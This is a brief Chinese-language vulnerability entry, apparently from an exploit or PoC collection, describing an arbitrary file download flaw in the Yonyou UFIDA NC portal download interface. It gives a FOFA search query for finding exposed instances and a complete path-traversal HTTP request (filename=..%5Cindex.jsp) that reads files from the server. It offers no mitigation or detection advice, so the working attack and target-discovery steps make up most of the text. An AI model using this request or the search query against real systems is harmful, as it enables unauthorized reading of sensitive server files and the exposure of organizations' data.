用友UFIDA-NC-download存在任意文件下载漏洞

漏洞描述

用友ufida-NC download 接口处存在任意文件下载漏洞，攻击者可通过该漏洞在服务器端下载任意文件，导致服务器敏感信息泄露。

资产测绘

FOFA：app="用友-UFIDA-NC"

漏洞复现

GET /portal/pt/xml/file/download?pageId=login&filename=..%5Cindex.jsp HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

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